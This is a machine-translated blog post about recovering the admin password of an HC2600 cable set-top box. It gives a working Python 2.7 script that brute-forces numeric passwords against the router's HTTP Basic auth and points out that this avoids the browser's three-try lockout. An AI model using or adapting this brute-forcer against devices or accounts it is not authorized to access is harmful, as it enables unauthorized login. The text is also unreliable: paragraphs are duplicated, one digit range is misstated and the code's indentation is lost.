[テクニック]Pythonスクリプト暴力HC 2600トップボックス管理パスワードを解読
2944 ワード
家は最近、広電ケーブルテレビに接続され、3つの創維HC 2600セットトップボックスを搭載し、各セットトップボックスには無線ルータ機能も備えている.
インターネットアクセスサービスを無料で提供してもいいが、トップボックスに内蔵されているWIFIは、2.4 GHz帯域で802.11 n 150 Mbpsの伝送しかサポートしていないという寒さに耐えられない.2.4 GHz帯はもともと混雑していて、ユーザー体験がよくありません.802.11 ac対応のデュアル周波数ワイヤレスルータと混用すると、逆に干渉で逆効果になる恐れがあります.
ただし、HC 2600セットトップボックスの構成を変更するには、管理者パスワードが必要です.ネット上でHC 2600を検索した管理者のユーザー名はadminのようですが(後で確認しても確かにそうです)、パスワードは確定できません.
だから私はPythonのスクリプトを書いて暴力的な試みをしました.解読手順は次のとおりです.
まずパソコンをセットトップボックスのEthernetインタフェースにネットワークケーブルで接続し,パソコンはDHCPで自動的にIPアドレスを取得する.
その後、最新版のPython 2.7をインストールし、ファイルtvboxを新規作成します.py次の内容を入力します.
上のファイルでは、トップボックスのルータのアドレスが192.168.99.1であると仮定し、構成が異なる場合はtvboxを変更する必要があります.pyの41行目のコード.
エラーがないことを確認する、tvboxを実行します.pyでいいです.
上のスクリプトでは、0-9、00-99、000-999、000-999の11110個の純粋なデジタルパスワードを試してみましたが、目視で解読速度は毎秒100回程度です.
PS:ブラウザを使用してログインを試行した場合、パスワードエラーが3回発生した後、再試行する必要があります.これはブラウザ設定の制限ですが、スクリプトを使うとこのような制限はありません.
……
結果は意外にも、すぐにパスワードが出てきました:0000、インストール人員図のおかげで手間が省けました.もし本当に8桁の純粋なデジタルパスワードのすべての可能性をスキャンするならば、恐らく十数日かかります.
ヒント:上のスクリプトはPython 2.7にのみ適用されます.他のバージョンを使用している場合は、コードを少し変更する必要があります.
インターネットアクセスサービスを無料で提供してもいいが、トップボックスに内蔵されているWIFIは、2.4 GHz帯域で802.11 n 150 Mbpsの伝送しかサポートしていないという寒さに耐えられない.2.4 GHz帯はもともと混雑していて、ユーザー体験がよくありません.802.11 ac対応のデュアル周波数ワイヤレスルータと混用すると、逆に干渉で逆効果になる恐れがあります.
ただし、HC 2600セットトップボックスの構成を変更するには、管理者パスワードが必要です.ネット上でHC 2600を検索した管理者のユーザー名はadminのようですが(後で確認しても確かにそうです)、パスワードは確定できません.
だから私はPythonのスクリプトを書いて暴力的な試みをしました.解読手順は次のとおりです.
まずパソコンをセットトップボックスのEthernetインタフェースにネットワークケーブルで接続し,パソコンはDHCPで自動的にIPアドレスを取得する.
その後、最新版のPython 2.7をインストールし、ファイルtvboxを新規作成します.py次の内容を入力します.
import base64, socket, urllib2
def login(url, username, password):
while True:
try:
request1 = urllib2.Request(url)
response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
except socket.timeout, e: # timeout handler for Python 2.7
print "Login timedout"
continue
except urllib2.URLError, e:
if e.code != 401:
raise
else:
break
while True:
try:
request2 = urllib2.Request(url)
base64string = base64.encodestring('%s:%s' % (username, password)).replace('
', '')
request2.add_header("Authorization", "Basic %s" % base64string)
response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
return True
except socket.timeout, e: # timeout handler for Python 2.7
print "Login timedout"
continue
except urllib2.URLError, e:
if e.code == 401:
return False
def main():
for length in range(1, 5):
end = 10 ** length
print "Trying length %d (start = 0, end = %d)" % (length, end)
for i in range(0, end):
pattern = "%%0%dd" % length
password = pattern % i
if login("http://192.168.99.1", "admin", password):
print "Password found: %s" % password
break
else:
print "%s" % password
main()
上のファイルでは、トップボックスのルータのアドレスが192.168.99.1であると仮定し、構成が異なる場合はtvboxを変更する必要があります.pyの41行目のコード.
エラーがないことを確認する、tvboxを実行します.pyでいいです.
上のスクリプトでは、0-9、00-99、000-999、000-999の11110個の純粋なデジタルパスワードを試してみましたが、目視で解読速度は毎秒100回程度です.
PS:ブラウザを使用してログインを試行した場合、パスワードエラーが3回発生した後、再試行する必要があります.これはブラウザ設定の制限ですが、スクリプトを使うとこのような制限はありません.
……
結果は意外にも、すぐにパスワードが出てきました:0000、インストール人員図のおかげで手間が省けました.もし本当に8桁の純粋なデジタルパスワードのすべての可能性をスキャンするならば、恐らく十数日かかります.
ヒント:上のスクリプトはPython 2.7にのみ適用されます.他のバージョンを使用している場合は、コードを少し変更する必要があります.